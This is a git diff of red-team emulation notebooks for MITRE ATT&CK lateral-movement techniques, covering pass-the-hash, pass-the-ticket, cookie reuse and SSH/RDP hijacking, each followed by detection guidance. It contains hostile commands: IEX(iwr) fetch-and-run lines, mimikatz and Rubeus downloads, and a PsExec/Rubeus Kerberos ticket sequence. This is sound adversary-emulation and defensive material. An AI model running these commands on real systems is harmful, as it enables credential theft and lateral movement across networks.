and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." }, { "cell_type": "markdown", - "id": "b8545bb2", + "id": "429d75df", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2f731abe", + "id": "3b3c423c", "metadata": {}, "source": "## Detection\nMonitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1550.002.ipynb b/playbook/tactics/lateral-movement/T1550.002.ipynb index b2f6c106..8ccf2b7d 100644 --- a/playbook/tactics/lateral-movement/T1550.002.ipynb +++ b/playbook/tactics/lateral-movement/T1550.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "3facf3f3", + "id": "dc925100", "metadata": {}, "source": "# T1550.002 - Pass the Hash\nAdversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)" }, { "cell_type": "markdown", - "id": "ac67ca05", + "id": "eb848314", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "4497b350", + "id": "9e70573d", "metadata": {}, "source": "### Atomic Test #1 - Mimikatz Pass the Hash\nNote: must dump hashes first\n[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo %tmp%\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9cddb911", + "id": "1b85b8b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "82cc7f22", + "id": "9aadfa11", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fcfdb684", + "id": "641f384e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7fdf90af", + "id": "dc0b7d87", "metadata": {}, "source": "### Atomic Test #2 - crackmapexec Pass the Hash\ncommand execute with crackmapexec\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})\n\n##### Check Prereq Commands:\n```cmd\nif(Test-Path C:\\CrackMapExecWin\\crackmapexec.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Automated installer not implemented yet, please install crackmapexec manually at this location: C:\\CrackMapExecWin\\crackmapexec.exe\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf20f39d", + "id": "6e8896d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7d30af49", + "id": "61812742", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,14 +69,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e4625653", + "id": "c2257cb2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bfdc3a88", + "id": "01f36ce5", "metadata": {}, "source": [ "### Atomic Test #3 - Invoke-WMIExec Pass the Hash", @@ -89,14 +89,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2a6b5ac9", + "id": "a55a9975", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "aa4aa2df", + "id": "e960fda6", "metadata": {}, "source": "## Detection\nAudit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)" } @@ -104,13 +104,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1550.003.ipynb b/playbook/tactics/lateral-movement/T1550.003.ipynb index 45e50400..a4ffd284 100644 --- a/playbook/tactics/lateral-movement/T1550.003.ipynb +++ b/playbook/tactics/lateral-movement/T1550.003.ipynb @@ -2,81 +2,81 @@ "cells": [ { "cell_type": "markdown", - "id": "c0a2cc66", + "id": "d20d26e8", "metadata": {}, "source": "# T1550.003 - Pass the Ticket\nAdversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)" }, { "cell_type": "markdown", - "id": "2a19e62d", + "id": "331286c5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b92c2d6b", + "id": "65f22bf1", "metadata": {}, - "source": "### Atomic Test #1 - Mimikatz Kerberos Ticket Attack\nSimilar to PTH, but attacking Kerberos\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path PathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #1 - Mimikatz Kerberos Ticket Attack\nSimilar to PTH, but attacking Kerberos\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\bin\\x64\\mimikatz.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$basePath = Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\bin\\x64\\mimikatz.exe\" | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3dc911d6", + "id": "0bcbb087", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6d927214", + "id": "43df856a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1550.003\\bin\\x64\\mimikatz.exe \"kerberos::ptt None\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\bin\\x64\\mimikatz.exe\" \"kerberos::ptt None\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "970ab545", + "id": "b2c92fcb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6af75f52", + "id": "07cccd4a", "metadata": {}, - "source": "### Atomic Test #2 - Rubeus Kerberos Pass The Ticket\nRequesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).\nPsExec is used to execute commands on the remote system, and the \"C$\" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Rubeus must exist on disk at specified location (#{rubeus_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $Env:TEMP\\rubeus.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile $Env:TEMP\\rubeus.exe\n\n```\n##### Description: PsExec must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\PSTools\\PsExec.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #2 - Rubeus Kerberos Pass The Ticket\nRequesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).\nPsExec is used to execute commands on the remote system, and the \"C$\" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Rubeus must exist on disk at \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"\n\n```\n##### Description: PsExec must exist on disk at \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\"\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b0fa23f7", + "id": "744a3159", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a2aee9df", + "id": "45f70e73", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nC:\\PSTools\\PsExec.exe -accepteula \\\\localhost -w c:\\ -c $Env:TEMP\\rubeus.exe asktgt /user:Administrator /password:Password /domain:$Env:USERDOMAIN /outfile:ticket.kirbi\nSet-Location $env:TEMP\nMove-Item -Force \"\\\\localhost\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from 'localhost', now requesting a TGS from local\"\n& \"$Env:TEMP\\rubeus.exe\" asktgs /service:cifs/localhost /ticket:ticket.kirbi /ptt\nRemove-Item $env:TEMP\\ticket.kirbi\n& \"$Env:TEMP\\rubeus.exe\" purge \n```" + "```powershell\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula \\\\localhost -w c:\\ -c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgt /user:Administrator /password:Password /domain:$Env:USERDOMAIN /outfile:ticket.kirbi\nSet-Location \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nMove-Item -Force \"\\\\localhost\\c$\\ticket.kirbi\" ticket.kirbi\nWrite-Host \"Successfully retrieved TGT from 'localhost', now requesting a TGS from local\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asktgs /service:cifs/localhost /ticket:ticket.kirbi /ptt\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\ticket.kirbi\"\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" purge ```" ] }, { "cell_type": "code", "execution_count": null, - "id": "312b201f", + "id": "9bcfd342", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1550.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fc8b01a8", + "id": "15394fa7", "metadata": {}, "source": "## Detection\nAudit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)" } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1550.004.ipynb b/playbook/tactics/lateral-movement/T1550.004.ipynb index 04414003..d09ffe0c 100644 --- a/playbook/tactics/lateral-movement/T1550.004.ipynb +++ b/playbook/tactics/lateral-movement/T1550.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9c7c9532", + "id": "dbfd6ee6", "metadata": {}, "source": "# T1550.004 - Web Session Cookie\nAdversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)" }, { "cell_type": "markdown", - "id": "60627359", + "id": "aeeb43d0", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "6045355d", + "id": "274a1ee5", "metadata": {}, "source": "## Detection\nMonitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1550.ipynb b/playbook/tactics/lateral-movement/T1550.ipynb index ffb6188a..ad755535 100644 --- a/playbook/tactics/lateral-movement/T1550.ipynb +++ b/playbook/tactics/lateral-movement/T1550.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "f7822b8c", + "id": "25eacf85", "metadata": {}, "source": "# T1550 - Use Alternate Authentication Material\nAdversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n" }, { "cell_type": "markdown", - "id": "3076f2a4", + "id": "6bf6f1f0", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a1898eab", + "id": "7f72e4d6", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access)." }, { "cell_type": "markdown", - "id": "d73a6669", + "id": "a1b2654d", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nDefenders can look for anomalies in where an account is authenticating and what it is authenticating to in order to detect potentially malicious intent.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1563.001.ipynb b/playbook/tactics/lateral-movement/T1563.001.ipynb index 3bd51c1f..c683ae00 100644 --- a/playbook/tactics/lateral-movement/T1563.001.ipynb +++ b/playbook/tactics/lateral-movement/T1563.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "dea38587", + "id": "89b3774b", "metadata": {}, "source": "# T1563.001 - SSH Hijacking\nAdversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078)." }, { "cell_type": "markdown", - "id": "71c7720e", + "id": "c4a72c0d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "348c4530", + "id": "649c4630", "metadata": {}, "source": "## Detection\nUse of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1563.002.ipynb b/playbook/tactics/lateral-movement/T1563.002.ipynb index 5a77929d..1d3ef682 100644 --- a/playbook/tactics/lateral-movement/T1563.002.ipynb +++ b/playbook/tactics/lateral-movement/T1563.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8f2219e5", + "id": "36b6f28b", "metadata": {}, "source": "# T1563.002 - RDP Hijacking\nAdversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)" }, { "cell_type": "markdown", - "id": "145ab71d", + "id": "ecd9c4cd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "649138d5", + "id": "d3ab631d", "metadata": {}, "source": [ "### Atomic Test #1 - RDP hijacking", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a33a52b0", + "id": "b0c7d7f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1563.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7c0afe12", + "id": "0ab9281b", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe delete sesshijack >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d2848aa", + "id": "f4f71a83", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1563.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "97edb511", + "id": "27aacd25", "metadata": {}, "source": "## Detection\nConsider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1563.ipynb b/playbook/tactics/lateral-movement/T1563.ipynb index a5456ea3..dcd3ff61 100644 --- a/playbook/tactics/lateral-movement/T1563.ipynb +++ b/playbook/tactics/lateral-movement/T1563.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d2e3b400", + "id": "67f4b666", "metadata": {}, "source": "# T1563 - Remote Service Session Hijacking\nAdversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an 